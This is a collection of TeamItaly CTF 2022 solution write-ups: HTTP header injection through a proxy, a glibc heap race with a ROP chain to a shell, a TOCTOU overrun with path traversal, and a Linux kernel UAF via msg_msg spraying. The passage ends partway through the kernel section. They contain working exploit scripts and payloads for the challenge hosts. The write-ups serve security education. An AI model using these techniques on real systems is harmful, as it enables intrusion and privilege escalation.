```GET /flag?token=randomcharacters HTTP/1.0Host: back:8080Content-Length: 0Connection: close```
If we inject the following in the request:```Content-Length: 0Connection: keep-alive
GET /add-token?token=randomcharacters HTTP/1.0Host: back:8080
```Will make another request to the back server and add the token for us.
The payload will look something like this after URL encoding:```curl "http://flag-proxy.challs.teamitaly.eu/flag?token=%0aContent-Length:0%0aConnection:%20keep-alive%0a%0aGET%20/add-token?token=randomcharacters%20HTTP/1.0%0aHost:%20back:8080%0a"```
This works because the final request after the proxy server finishes parsing the headers will ultimately look something like this:
```GET /flag?token=Content-Length: 0Connection: keep-alive
GET /add-token?token=randomcharacters HTTP/1.0Host: back:8080
HTTP/1.0Host: back:8080Content-Length: 0Connection: close```
Then we can just make a request to the /flag endpoint with our custom token and receive the flag
```curl "http://flag-proxy.challs.teamitaly.eu/flag?token=randomcharacters"```
Response:```json{"httpVersion":"HTTP/1.1","statusCode":200,"statusMessage":"OK","headers":{"X-Powered-By":"Express","Content-Type":"text/html; charset=utf-8","Content-Length":"18","ETag":"W/\"12-43/A5sw4MypQYouEtbBr+zK2j/E\"","Date":"Thu, 08 Sep 2022 19:49:10 GMT","Connection":"close"},"body":"flag{sanity_check}"}``` |
# TeamItaly CTF 2022
## Atomic Pizza (1 solves)
I found this pizzeria where they let you create your own toppings,you should try it.
## Solution
### TL;DR
- In `select_favorite_slice` you can get `favorite_slice` to point to an arbitrary location abusing the non atomicity of the `mov` instruction on non naturally aligned addresses (the stripped global variable)- Leak heap from tcache bin and libc from unsorted bin- Get an arbitrary allocation right above `environ` and leak it, using again the first vulnerability- Get another arbitrary allocation in the stack and ROP to the win
### Overview
The binary is a simple application that lets you create a pizza:you can create / modify / eat (delete) / look at slices.There is an option to select your favorite slice, but it just randomlyselect a slice and once selected, you can look at it and modify it.
The reversing part is a bit tricky if you use the wrong decompiler:because the `assert_fail` function takes a vararg, some decompilersdon't understand what's happening and thinks that that function willnever return, thus truncating the functions calling it. I found outthat Ghidra and Ida 7.5 works really bad, while Binary ninja andIda 7.7 works fine, with Ida 7.7 getting an almost source code match.
The "normal slice" 's functions looks fine, they handle the sliceswith exaustive checks and a bit of trolling if you do somethingwrong (such as asking for a too big topping or answering neither 'y'nor 'n' to a 'y/n' question). The `select_favorite_slice` functioncan be called only with more than two already existing slices. Insidea secondary thread it creates an array with only the non-NULL slicesand start looping throught those slices. When, in the main thread,the user tells to "stop spinning the pizza", the `favortie_slice`gets extracted and the secondary thread gets stopped. The functionsto handle the `favorite_slice` also look fine, also because they arepretty much identical to the normal ones.
### Vulnerability
The vulnerability is a data race in the `select_favorite_slice`and `pizza_spinner` functions. There are two global variables: thefirst one is stripped and keeps getting changed in a while loop overthe existing slices, while the second one, `favorite_slice`, isassigned to the first one while the first one is still "spinning".The problem is that the stripped variable is located at `0x...f`,so it is not naturally aligned, in particular, the first byte ofthe pointer is in one `QWORD` and the other 7 bytes in thesuccessive one. This makes the `mov` instruction on that address, nonatomic and if it happens that the two `QWORD`s crosses a cache-line,you would have enough time to read a half assigned value (I'm notentirely sure if this is the correct reason, but I did someresearch and it looks reasonable enough).
A simple POC would be something like this:
```C#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <pthread.h>#include <sys/types.h>
#pragma pack(1) // Otherwise the compiler would add one byte of padding after `pad`struct foo { char pad[7]; __uint64_t val; // This is at 0x...f} shared;
void* shuffle(void* args) { __uint8_t turn = 0; while (1) { if (turn) shared.val = 0x4141414141414141ULL; else shared.val = 0x4242424242424242ULL; turn ^= 1; } return NULL;}
int main () { pthread_t th; shared.val = 0x4141414141414141ULL; size_t attempts = 0;
pthread_create(&th, NULL, shuffle, NULL); while (1) { attempts++; usleep(1000); // With usleep it takes less than 1000 attempts, without it, about 1000000 // I guess this happens because it leaves some time for the caches to cool down __uint64_t extracted = shared.val; if (extracted != 0x4141414141414141ULL && extracted != 0x4242424242424242ULL) { printf("Taken %ld attempts\n", attempts); printf("%#018lx\n", extracted); break; } }
pthread_cancel(th); return 0;}
// $ gcc -o poc -pthread poc.c// $ ./poc// Taken 127 attempts// 0x4141414141414142```
### Exploitation strategy
Using this vulnerability we can get `favorite_slice` to point to an(almost) arbitrary location. The first allocated chunk will be at`0x2a0`, so we can create another chunk at `0x.b0` and get`favorite slice` to point inside the first slice's topping at `0x2b0`.From there we can set its size to whatever we want, in order to leakfreed chunks and overwrite their pointers.
Since libc is 2.35 we can't just leak libc and overwrite `__free_hook`,but we need to do a little more work.
First we leak heap address from two tcache chunks (two because ofsafe linking) and libc address from a unsorted bin chunk.Then we leak the stack from `environ`, inside libc, by gettingan arbitrary allocation above it and abusing the vulnerabilityagain. Now we only need one last arbitrary allocation insidethe stack and we can do ROP to get RCE. For this we could usethe race once again, but it is easier to set up an arbitraryallocation with the first fake `favorite_slice` and use it to getoverlapping chunks.
### Exploit
For each arbitrary allocation we need two chunks: one to overwrite thetcache forward pointer and another one to increment the tcache entrycounter otherwise the corrupted pointer would be ignored. So, for thefirst part we need a total of 7 slices:
- the first and last will have the right addresses to perform the data race- the second and third are for one arbitrary allocation- the fourth and fifth for the second one- the sixth is a big slice that will go in the unsorted bins and leak the libc
```pythonfake_slice1 = p16(0x1000) + b"CHECK"create_slice(1, b"A" * (0x10 - 2) + fake_slice, 0x18 - 3) # 0x20 chunkcreate_slice(2, b"AAAA", 0x28 - 3) # 0x30 chunkcreate_slice(3, b"AAAA", 0x28 - 3)create_slice(4, b"AAAA", 0x38 - 3) # 0x40 chunkcreate_slice(5, b"AAAA", 0x38 - 3)create_slice(6, b"AAAA", 0x500 - 3)create_slice(7, b"AAAA", 0x18 - 3)```
The first slice is located at `0x2a0` and the last one at `0x8b0`, sothe possible fake slices are `0x8a0`, that is empty (`size = 0`)because I've written nothing at that address, and `0x2b0` that pointsright to the fake_slice. Now we delete every chunk exept the first oneand the last one and call `select_favorite_slice` until`favorite_slice` starts with the string `"CHECK"`.
```pythoneat_slice(2)eat_slice(3)eat_slice(4)eat_slice(5)eat_slice(6)leak = b""while not leak.startswith(b"CHECK"): leak = spin_pizza()```
The libc leak is in the 6th slice, while for the heap leak we needto undo the safe linking of the forward pointers of slices 2 and 3:`heap_leak = forward_pointer2 ^ forward_pointer3`.
Now we have to set up the two arbitrary allocations. For the sliceabove `environ` we overwrite the 3rd slice's forward pointer,while for the heleper slice to get the overlapping chunks and,in the future, an arbitrary allocation into the stack, we usethe 5th slice.
```pythonfake_slice1 = heap_base + 0x2b0chunk3 = heap_base + 0x2f0chunk5 = heap_base + 0x360
future_arbitrary_alloc = heap_base + 0x510target_allocation = libc.symbols["environ"] - 0x30
payload = b"A" * (chunk3 - fake_slice1 - 0x8 - 2)payload += p64(0x31) # Chunk sizepayload += p64((chunk3 >> 12) ^ target_allocation) # Target allocation with safe linkingpayload = payload.ljust(chunk5 - fake_slice1 - 0x8 - 2, b"A")payload += p64(0x41)payload += p64((chunk5 >> 12) ^ future_arbitrary_alloc)edit_favorite_slice(payload, 0x1000 - 1)```
The second allocation on the `0x30` chunks will be at `environ - 0x30`.The `- 0x30` is important because of two reasons: everything in theallocated slice will be memset to 0, so we must be far enugh andthe first allocation on the `0x30` chunks will be at `0x.f0`,while `environ` is at `0x.00`, hence, `environ - 0x30` will be at`0x.d0` and we will craft the fake slice at `0x.f0 = environ - 0x10`
```pythoncreate_slice(2, b"AAAA", 0x28 - 3)fake_slice2 = p16(0x20) + b"CHECK"create_slice(3, b"A" * (0x20 - 2) + fake_slice2, 0x28 - 3)```
We delete the (now) useless slices and exploit the vulnerabilityagain to get the stack leak.
```pythoneat_slice(1)eat_slice(7)leak = b""while not leak.startswith(b"CHECK"): leak = spin_pizza()```
Now we have a stack leak, so we just use the helper slice to getanother arbitrary allocation. We create and free 2 slices in the`0x60` bin, then we allocate two slices of size `0x40` (the sizeof the helper slice) and the second one will be an overlappingslice, so we can use it to overwrite the `0x60` chunk forwardpointer.
```pythoncreate_slice(4, b"AAAA", 0x58 - 3)create_slice(5, b"AAAA", 0x58 - 3)eat_slice(4)eat_slice(5)create_slice(4, b"AAAA", 0x38 - 3)
chunk5 = heap_base + 0x520stack_allocation = environ - 0x120 - 0x8payload = b"A" * 0x6payload += p64(0x61) # Chunk sizepayload += p64((chunk5 >> 12) ^ stack_allocation)create_slice(5, payload, 0x38 - 3)```
Finally the second allocation of size `0x60` will be into the stackand we can do ROP to exectue `system("/bin/sh")`. We target the`main` return address, so the payload will be triggere once we exit.
```pythoncreate_slice(6, b"AAAA", 0x58 - 3)rop = b"A" * 0x6rop += p64(POP_RDI + libc_base)rop += p64(next(libc.search(b"/bin/sh\x00")))rop += p64(RET + libc_base) # system requires the stack to be aligned at 0x10rop += p64(libc.symbols["system"])create_slice(7, rop, 0x58 - 3)
r.recvuntil(b"> ") # Exitr.sendline(b"8")```
### Exploit script
```python
#!/usr/bin/python3
import osfrom pwn import *
HOST = os.environ.get("HOST", "atomic-pizza.challs.teamitaly.eu")PORT = int(os.environ.get("PORT", 15010))
context(arch="amd64", log_level="warning")
for i in range(3): # Otherwise, it will fail if a \n appears in the addresses
r = connect(HOST, PORT)
POP_RDI = 0x2a3e5 RET = 0x29cd6
def create_slice(index, topping, size): r.recvuntil(b"> ") r.sendline(b"1") r.recvuntil(b"> ") r.sendline(b"%d" % size) r.recvuntil(b"> ")
if size == len(topping): r.send(topping) else: r.sendline(topping)
r.recvuntil(b"> ") r.sendline(b"%d" % index)
def eat_slice(index): r.recvuntil(b"> ") r.sendline(b"4") r.recvuntil(b"> ") r.sendline(b"%d" % index) r.recvuntil(b"> ") r.sendline(b"y")
def spin_pizza(): r.recvuntil(b"> ") r.sendline(b"5") r.recvuntil(b"> ") r.sendline(b"") r.recvuntil(b"> ") r.sendline(b"")
r.recvuntil(b"> ") result = r.recvuntil(b"\n----")[:-5] return result
def edit_favorite_slice(new_topping, size): r.recvuntil(b"> ") r.sendline(b"7") r.recvuntil(b"> ") r.sendline(b"%d" % size) r.recvuntil(b"> ") r.sendline(new_topping)
try: fake_slice1 = p16(0x1000) + b"CHECK" create_slice(1, b"A" * (0x10 - 2) + fake_slice1, 0x18 - 3) create_slice(2, b"AAAA", 0x28 - 3) create_slice(3, b"AAAA", 0x28 - 3) create_slice(4, b"AAAA", 0x38 - 3) create_slice(5, b"AAAA", 0x38 - 3) create_slice(6, b"AAAA", 0x500 - 3) create_slice(7, b"AAAA", 0x18 - 3)
eat_slice(2) eat_slice(3) eat_slice(4) eat_slice(5) eat_slice(6)
leak = b"" while not leak.startswith(b"CHECK"): leak = spin_pizza()
next1 = u64(leak[0x10 - 2: 0x18 - 2]) next2 = u64(leak[0x40 - 2: 0x48 - 2]) heap_base = (next1 ^ next2) - 0x2c0 libc_leak = u64(leak[0x210 - 2: 0x218 - 2]) libc_base = libc_leak - 0x219ce0
fake_slice1 = heap_base + 0x2b0 chunk3 = heap_base + 0x2f0 chunk5 = heap_base + 0x360 future_arbitrary_alloc = heap_base + 0x510 target_allocation = 0x221200 - 0x30 + libc_base payload = b"A" * (chunk3 - fake_slice1 - 0x8 - 2) payload += p64(0x31) # Chunk size payload += p64((chunk3 >> 12) ^ target_allocation) payload = payload.ljust(chunk5 - fake_slice1 - 0x8 - 2, b"A") payload += p64(0x41) payload += p64((chunk5 >> 12) ^ future_arbitrary_alloc) edit_favorite_slice(payload, 0x1000 - 1)
create_slice(2, b"AAAA", 0x28 - 3) fake_slice2 = p16(0x20) + b"CHECK" create_slice(3, b"A" * (0x20 - 2) + fake_slice2, 0x28 - 3) eat_slice(1) eat_slice(7)
leak = b"" while not leak.startswith(b"CHECK"): leak = spin_pizza()
environ = u64(leak[0x10 - 2: 0x18 - 2])
create_slice(4, b"AAAA", 0x58 - 3) create_slice(5, b"AAAA", 0x58 - 3)
eat_slice(4) eat_slice(5)
create_slice(4, b"AAAA", 0x38 - 3)
chunk5 = heap_base + 0x520 stack_allocation = environ - 0x120 - 0x8 payload = b"A" * 0x6 payload += p64(0x61) # Chunk size payload += p64((chunk5 >> 12) ^ stack_allocation) create_slice(5, payload, 0x38 - 3)
create_slice(6, b"AAAA", 0x58 - 3)
rop = b"A" * 0x6 rop += p64(POP_RDI + libc_base) rop += p64(0x1d8698 + libc_base) rop += p64(RET + libc_base) rop += p64(0x50d60 + libc_base) create_slice(7, rop, 0x58 - 3)
r.recvuntil(b"> ") r.sendline(b"8")
r.recvuntil(b"Bye! :D\n") r.sendline(b"cat pizza_secret.txt") print(r.recvline().strip().decode()) r.close() break except: r.close()
else: print("Service is down")``` |
# TeamItaly CTF 2022
## Mario's Metaverse Marketplace (1 solves)
What's a better CTF challenge than an half-finished, buggy software?
Of course an half-finished, buggy software that lets you create NFTs!~~(No guarantees)~~
Btw I forgot the private key to `flag.txt`, can you retrieve that for me?
### Solution
The vulnerability was a simple TOCTOU on the size of the file that has to be read from disk.

First, a buffer the size of the file minus 0x24 (the size of the token and the item price, contained in the file alongside the item description).
Then a blocking function is called, which asks for the token and continues only if it is correct.
Finally, the description is fully read in the previously allocated buffer.
Note that the file also gets closed and reopened with read-write permissions if the token is indeed correct, so if the file gets modified and becomes larger while the program is waiting for input, the buffer can be overrun with the file contents.
---
To actually trigger the vulnerability the attacker has to use open two connections concurrently:
- Instance 1: create item, get id and token- Instance 2: insert item id, so the buffer gets allocated- Instance 1: edit item by making the description larger, and save it.- Instance 2: insert item token, so the description gets read overrunning the allocated buffer
---
This vuln can be exploited easily to get the flag, as just after allocating the buffer for the item description, the program allocates memory for a global structure, in which the first 32 bytes represent the item id.

Because of this, an attacker can overwrite the id field of the struct with any valid file name, as long as it's exactly 32 bytes long.
The file can be then be read using the "Undo changes" option, which just reloads the item from disk, without asking for the token.
```Make your selection:| Item ID: ../../../../../../../../flag.txt| Item secret token: flag{th15_fl4g_n33d5_t0_b3_l0ng3| Item price: 1752457074| Item description: 4n_m05t_t0_533_1f_y0u_c4n_r3p4ck_1nt5}```
The flag is split between the three fields shown (token, price, description). As the price is printed out as an integer, it has to be repacked in binary form, and this can be easily done using `p64(1752457074)` from pwntools.
### Exploit
```python
#!/usr/bin/env python3
from pwn import gdb, remote, process, p32, context, ELF, args, fit, logimport timeimport os
exe = context.binary = ELF('m3')
HOST = os.environ.get("HOST", "mmm.challs.teamitaly.eu")PORT = int(os.environ.get("PORT", 15009))
io = remote(HOST, PORT)io2 = remote(HOST, PORT)
io.sendlineafter(b":", b"1")io.sendlineafter(b":", b"1")io.sendlineafter(b":", b"a"*0x20)
io.recvuntil(b"Item ID: ")id = io.recvline()[:-2]io.recvuntil(b"Item secret token: ")token = io.recvline()[:-2]log.success(f"ID {id}")log.success(f"Token {token}")
io.sendlineafter(b":", b"2")io.sendlineafter(b":", id)
io.sendlineafter(b":", token)io.sendlineafter(b":", b"2")
io2.sendlineafter(b":", b"2")io2.sendlineafter(b":", id)
io.sendlineafter(b"Insert new description (up to 1023 characters): ", fit({ 48: b"../../../../../../../../flag.txt"}))io.sendlineafter(b":", b"3")io.sendlineafter(b":", b"0")io.sendlineafter(b":", b"0")io.recvuntil(b"Exit")
io.close()time.sleep(1)
io2.sendlineafter(b":", token)io2.sendlineafter(b":", b"4")
io2.recvuntil(b"flag.txt")io2.recvuntil(b"Make your selection: ")io2.recvuntil(b"Item secret token: ")flag = io2.recvline().strip()io2.recvuntil(b"Item price: ")flag += p32(int(io2.recvline().strip()))io2.recvuntil(b"Item description: ")io2.recvline()flag += io2.recvline().strip()
print(flag.decode('ascii'))
io2.close()
``` |
# TeamItaly CTF 2022
## FamilyRecipes (1 solve)
### Platform Description
I always think of the good old days, when my grandma used to cook me all my favourite recipes. I've spent years storing them in randomly placed post-its; now I've written a cool tool for my family that can store all our recipes in our home computer! Some of them are protected... I won't share my new secret pesto recipe, not even with them.
Warning! For incredibly higher security, the data is not saved on the disk: if you think your family recipes are in danger, just unplug your home computer and no one will ever steal them!
Get root and read the flag at /flag.txt
This is a remote challenge, you can connect to the service with:
`nc familyrecipes.challs.teamitaly.eu 15011`
Author: @giulia
### Description
This is a Linux kernel exploitation challenge, presented as a custom Linux kernel module. The module gives the users the ability to save some recipes inside the kernel memory and interact with them. Every recipe is saved inside the kernel memory as a struct `recipe`:
```ctypedef struct recipe { char *buf; unsigned long bufsize; unsigned int public; uid_t owner_uid;} recipe_t;```
The fields `buf` and `bufsize` will contain the recipe and its size respectively; the field `public` will determine if the recipe is readable or not from the other users and the field `owner_uid` will contain the uid of the recipe owner, who is the user that created it.
The module contains a global variable `manager` which contains an array of pointers to `recipe` struct, which will be the list of recipes, and the number of currently saved recipes:
```ctypedef struct recipe_manager { recipe_t **recipes_list; unsigned char num_of_recipes;} recipe_manager_t;
recipe_manager_t manager;```
The user has 5 different available commands to interact with the recipes:
```c#define CMD_ALLOC 1337 // Write a new recipe#define CMD_DELETE 1338 // Delete a recipe (requires recipe owner)#define CMD_READ 1339 // Read a recipe (requires recipe owner if not public)#define CMD_INFO 1340 // Read recipe info (index, bufzise, public, owner_uid)#define CMD_TOGGLE 1341 // Toggle public field (requires recipe owner)```
---
### Goal
> Note: this section will present the common goals of a kernel exploitation challenge and the usual methods/techniques to get to them. So, if you're already comfortable with kernel pwning, then you could easily skip this section and jump to the next one [here](#kernel-configuration).
In the usual userland exploitation challenge scenario, the goal of the user is to pop a shell. In a kernel exploitation challenge the most common goal is a bit different: the user starts being already inside a shell with arbitrary code execution. What they need to do is to escalate privileges or to execute code in privileged mode. The flag could be, like in this challenge, stored in the file system, readable only with root privileges.
The following three are the most common methods for escalating privileges or gain privileged execution:
1. Overwriting `modprobe_path`.2. Overwriting the data structure that holds `uid`, `gid`, `euid`, (...), of the current process and set them to 0.3. Executing `commit_creds(prepare_kernel_cred(NULL))`.
Whether to use one or the others can depend on what the user is able to do after exploiting the vulnerabilities and which kind of primitives they have.
#### Overwriting `modprobe_path`
`modprobe` is a Linux program that is executed when a new module is added/removed from the kernel. Its default path is `/sbin/modprobe` and it's stored in a kernel global variable, under the symbol `modprobe_path`, inside a _writable_ page. When the user executes a file with an unknown filetype (i.e. when the magic header of the file is unknown to the system), the kernel will try to find a binary handler suitable for the unknown header by trying to load a module named `binfmt-%04x`, where the format specifier is replaced by the third and fourth byte of the binary file (see [here](https://elixir.bootlin.com/linux/latest/source/fs/exec.c#L1746)). This will cause the function `call_modprobe` to be called (see [here](https://elixir.bootlin.com/linux/latest/source/kernel/kmod.c#L170)). Then, the modprobe executable will be executed _with root privileges_.
Given that the page where the modprobe global variable is stored is writable, if the user manages to overwrite the modprobe path with the path of a custom executable, and then executes a file with a dummy header, the system will execute the user's custom file as a userland program _with root privileges_.
#### Overwriting the `cred` structure
The kernel needs to store information about each of its tasks. This information is saved using a structure, named `task_struct`, and each of the kernel tasks owns its own instance of this structure.
The tasks are stored as a linked list: a global kernel variable, named `init_task` points to the first one and each of the tasks contains a pointer to the next one in the list.
Among all the information, each task structure holds a pointer to a `cred` struct, which contains all the credentials information for the associated process (e.g. uid, gid, euid, egid, ...).
The idea behind this exploitation method is to use a read primitive to traverse the tasks list starting from `init_task` and stopping when the current process' task is found. Then, a write primitve can be used to overwrite the credentials stored inside the `cred` struct with 0 and become root.
#### Executing `commit_creds(prepare_kernel_cred(NULL))`
This method consists in hijacking the control flow of the program in order to execute the code `commit_creds(prepare_kernel_cred(NULL))` which locates the current process' task structure and overwrites the credentials structure with a new one that holds root privileges. This is basically an automatic way of doing the same thing the previous method does.
---
### Kernel Configuration
This challenge was built using the 5.19.0 version of the Linux kernel, which was the last available stable version when the challenge was created. When building it, some configuration were updated. Here the most relevant ones:
```bashscripts/config --enable SLAB_FREELIST_HARDENED
# Modprobe trick mitigationscripts/config --enable STATIC_USERMODEHELPERscripts/config --set-str STATIC_USERMODEHELPER_PATH /sbin/usermode-helper```
The first configuration hardens the freelist pointer by performing some obfuscation on it ([source](https://elixir.bootlin.com/linux/latest/source/mm/slub.c#L318)).
With the last two configurations the `modprobe_path` variable will still be writable, but it will not be used anymore. The kernel will just use the static one taken from the config, which is read-only.
---
### Vulnerabilities
This challenge can be solved by taking advantage of two different vulnerabilities: an integer overflow on the field `recipe_manager.num_of_recipes` and a Use-After-Free on the field `recipe_manager.recipes_list`.
#### Integer Overflow
The field `num_of_recipes` is declared as an `unsigned char`, and it's incremented by one every time a new recipe is added to the recipe manager. This means that its value can be set to 0 by adding 256 new recipes.
#### Use-After-Free
The Use-After-Free is triggered by the behavior of the `krealloc` function. From the [docs](https://manpages.debian.org/wheezy-backports/linux-manual-3.16/krealloc.9.en.html):
```cNAME krealloc - reallocate memory. The contents will remain unchanged.SYNOPSIS void * krealloc(const void * p, size_t new_size, gfp_t flags);ARGUMENTS p - object to reallocate memory for. new_size - how many bytes of memory are required. flags - the type of memory to allocate.DESCRIPTION The contents of the object pointed to are preserved up to the lesser of the new and old sizes. If p is NULL, krealloc behaves exactly like kmalloc. If new_size is 0 and p is not a NULL pointer, Sthe object pointed to is freed.```
The description clearly states that the object will be freed if the `new_size` param is set to 0 and the pointer `p` is not `NULL`. This can lead to a Use-After-Free vulnerability since the challenge doesn't perform any check on the `new_size` parameter.
---
### Solution
#### Obtaining the Use-After-Free
Let's start focusing on the following snippet of code, which is the one executed when the user uses the `CMD_ALLOC` for allocating a new recipe:
```cswitch (cmd) { case CMD_ALLOC: {
[...]
manager.num_of_recipes++;
if (manager.recipes_list == NULL) { tmp = kmalloc(sizeof(recipe_t *) * manager.num_of_recipes, GFP_KERNEL); } else { tmp = krealloc(manager.recipes_list, sizeof(recipe_t *) * manager.num_of_recipes, GFP_KERNEL); }
if (ZERO_OR_NULL_PTR(tmp)) { printk(KERN_INFO "[CHALL] [ERR] (Re)allocation failed\n"); manager.num_of_recipes--; goto error; }
[...]```
The first step for exploiting this challenge consists in triggering the integer overflow by adding 256 new recipes. This will increment the variable `manager.num_of_recipes` by one for 256 times, which means bringing it to 0.
The just overflowed value is a multiplier in the `new_size` parameter passed to the `krealloc` function call, which should reallocate the space dedicated to the recipes pointers in order to fit the new one; the `new_size` parameter will be then equal to 0. The `p` parameter of the function call is the variable `manager.recipes_list`, which is not `NULL` since it's the pointer to the memory already allocated for the old 255 recipes. To make the corrispondences clearer, here is the signature and call of the `krealloc` function:
```c// Signaturekrealloc(const void * p, size_t new_size, gfp_t flags);// Callkrealloc(manager.recipes_list, sizeof(recipe_t *) * manager.num_of_recipes, GFP_KERNEL);```
This implies, according to the documentation, that the involved memory area will be freed. Nevertheless, the variable `manager.recipes_list` will still contain the address of that area, hence the Use-After-Free vulnerability.
In addition, since the `krealloc` function returns ZERO_PTR after freeing the memory area, the final `if` clause will be executed and the variable `manager.num_of_recipes` will be decremented, meaning it will come back from 0 to 255. This is necessary: for all the other operations (`CMD_DELETE`, `CMD_READ`, `CMD_INFO`, `CMD_TOGGLE`), the challenge ensures that the index of the accessed recipe is inside the range `[0, manager.num_of_recipes)` , so it would have been impossible to perform any operation with a 0 value on that variable.
Now it's necessary to find a way to exploit the Use-After-Free vulnerability: the intended solution for this challenge uses the [second](#overwriting-the-cred-structure) method described in the Goal section.
#### Obtaining the primitives
The variable `manager.recipes_list` still holds the pointer to the freed memory area. The freed area currently contains an array of 255 pointers, each of them pointing to a `recipe` structure. The challenge provides different commands that interact with those structures. If one of the elements of the array is changed to point to some other location in the kernel memory, the commands performed afterwards will actually act on that location, instead of acting over the originally-pointed recipe structure. The useful commands are `CMD_INFO` and `CMD_TOGGLE`, that will be used to obtain arbitrary read and arbitrary write of 0. The next step consists in understanding how to corrupt the freed memory in order to obtain those primitives and develop the exploitation.
##### Kernel memory layout and spraying
The Linux kernel organizes memory in so-called slab caches. The slab allocator provides two main classes of caches:
- The special-purpose caches are initialized to allocate only a particular kind of data structure. For example, for security reasons, all the credentials structures (`cred` struct) are allocated inside a dedicated special-purpose cache named `cred_jar`.
- The general-purpose caches are used for any other kind of allocation, and they mostly have a 2-power fixed buffer size, which represents the maximum allocation size that the cache can satisfy. The cache name represents its buffer size in bytes. Examples are `kmalloc-8`, `dma-kmalloc-8`, `kmalloc-16`, `dma-kmalloc-16`, `kmalloc-32`, and so on.
The dedicated file `/proc/slabinfo` contains details about all the slab caches on the system. More details about the slab allocator can be found [here](https://hammertux.github.io/slab-allocator).
A userland program can perform a huge set of operations, involving or not the kernel intervention. Some of these operations trigger the kernel allocation of some specific structures inside its memory. For example, when a userland process opens an extremely simple virtual file that uses `single_open` (e.g. `/proc/self/stat`), the kernel allocates a structure called `seq_operations` inside the kernel memory, intended to hold pointers to useful functions to interact with the file. Also, when a userland program calls the `fork` function, a new child process is spawned and the corresponding kernel task is added to the kernel tasks list (see [here](#overwriting-the-cred-structure)), implying a new `task_struct` and a new `cred_struct` are allocated inside the kernel memory.
Depending on its type and size, each of these structures gets allocated in a different slab cache.
When the user holds a Use-After-Free vulnerability they can try to trigger the kernel allocation of some of these structures inside the freed memory area they control. Controlling the newly allocated kernel structures can lead to leaks, RIP control, read/write primitives. This technique is called kernel memory spraying.
##### The `msg_msg` structure
The Use-After-Free vulnerability is triggered when 255 recipes are already allocated; given that, the size of the the freed memory area can be computed as `255 * sizeof(recipe_t *) = 2040 bytes`, which means it will be inside the `kmalloc-2k` slab cache.
It's necessary to find a way to trigger the kernel allocation of a structure inside that cache, that we can use to corrupt the freed memory area. The `msg_msg` structure is pretty useful in this case, because its size can be arbitrarily decided by the user (the only constraint is `size > 48 bytes`).
This structure is used to store messages inside the Linux kernel to achieve inter-process communication, and its instances are stored inside the general-purpose slab caches. It contains a 48 bytes header (hence the constraint on the size), and then a variable sized message, chosen by the user:
```c// Source: https://elixir.bootlin.com/linux/v4.19.98/source/include/linux/msg.h
struct msg_msg { struct list_head m_list; long m_type; size_t m_ts; /* message text size */ struct msg_msgseg *next; void *security; /* the actual message follows immediately */};```
Since the actual message is controlled by the user, the `msg_msg` structure can be placed in the `kmalloc-2k` cache by creating an instance with `976 bytes < message size <= 2000 bytes`, so that the sum of the header and the actual message sizes lies between the `kmalloc-1k` and `kmalloc-2k` buffer sizes. Here an example snippet that triggers such an allocation:
###
```c#define MSG_SIZE 2040 - 48
// Prepare structurestruct { long mtype; char mtext[MSG_SIZE];} msg;msg.mtype = 1;memset(msg.mtext, 0x41, MSG_SIZE - 1);msg.mtext[MSG_SIZE] = 0;
// Post message - allocate msg_msgint msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);msgsnd(msqid, &msg, sizeof(msg.mtext), 0);```
The picture below shows how the recipes list memory area looks like before calling the 256th `krealloc` (1), right after the call (2) and as soon as a `msg_msg` structure is allocated with 1992 bytes message, so that it will have the same dimension of the freed area, completely covering it.
As shown in the picture, the memory area is filled with pointers to `recipe` structures. When the `krealloc` function frees the memory area, the user will still be able to access it using the pointer `manager.recipes_list`. Once the `msg_msg` struct gets allocated, the first 6 "slots" will be reserved for the struct header (48 bytes) and the user controlled data will begin from the 7th slot, up to the end of the chunk.
##### Read primitive
The `CMD_INFO` functionality is the one used to obtain an arbitrary read primitive. The following steps describe its flow of execution:
- The user sends a proper request to the module providing the index of the wanted recipe.- The module accesses the `manager.recipes_list` array at the specified index and gets a pointer.- The pointer is dereferenced and the module sends back to the user some of the fields of the `recipe` structure found at the pointed location (`bufize`, `public`, `owner_uid`).
The exploit created for this challenge relies on using the field `owner_uid`, which is an integer, to obtain an arbitrary 32-bit read primitive. This field is located at an offset of 0x14 bytes from the start of the recipe structure. When the `CMD_INFO` sends back to the user the `owner_uid` field, it's basically just sending whichever integer is found at `<struct_location>+0x14`.
```ctypedef struct recipe { char *buf; // <struct_location>+0x0 unsigned long bufsize; // <struct_location>+0x8 unsigned int public; // <struct_location>+0x10 uid_t owner_uid; // <struct_location>+0x14} recipe_t;```
Starting from the 7th, the pointers in the `manager.recipes_list` array can be arbitrarily chosen through the message content of the `msg_msg` structure. Setting one of the pointers of the list to point to `<desired_location>-0x14` will make the desired location align with the `owner_uid` field and the module will send back the integer found at that location when reading that field.
Given this, the function `read_int` can be created modifying the code snippet above, inserting the desired address in the first 8 bytes of the message content and then executing the `CMD_INFO` on the recipe n. 6 (the first slot dedicated to the message content). After reading the obtained number, it's necessary to free the memory area to make it again available for subsequent reads. This is achieved by calling the function `msgrcv` that retrieves the last posted message and frees the allocated `msg_msg` structure:
```c#define MSG_SIZE 2040 - 48#define UID_OFF 0x14
unsigned int read_int(unsigned long where) {
// Prepare structure struct { long mtype; char mtext[MSG_SIZE]; } msg; msg.mtype = 1; memset(msg.mtext, 0x41, MSG_SIZE - 1); msg.mtext[MSG_SIZE] = 0;
// Set first controllable pointer to <desired_address>-0x14 unsigned long *ptr = (unsigned long *) msg.mtext; ptr[0] = where - UID_OFF;
// Post message - allocate msg_msg int msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT); msgsnd(msqid, &msg, sizeof(msg.mtext), 0);
// Read dev_info(6);
// Receive message - free msg_msg msgrcv(msqid, &msg, sizeof(msg.mtext), 0, IPC_NOWAIT);
return request.info.owner_uid;}```
A `read_long` primitive can be created by just combining two executions of the `read_int` primitive:
```cunsigned long read_long(unsigned long where) {
unsigned long p1, p2; p1 = read_int(where); p2 = read_int(where + 4); return p1 | (p2 << 32);}```
##### Write-0 primitive
The process to obtain a write primitive in order to write inside the credentials structure is pretty similar to the one just described.
The first difference is the command used, which this time is the `CMD_TOGGLE`. This command's purpose is to toggle the `public` field of a recipe structure, changing the visibility of the recipe content to the non-owner users. The following steps describe its flow of execution:
- The user sends a proper request to the module providing the index of the recipe they want to toggle.- The module accesses the `manager.recipes_list` array at the specified index and gets a pointer.- The pointer is dereferenced and the module checks if the `owner_uid` field is equal to the current process' uid.- If not, it aborts the request. Otherwise, it toggles the public field setting it to 0/1.
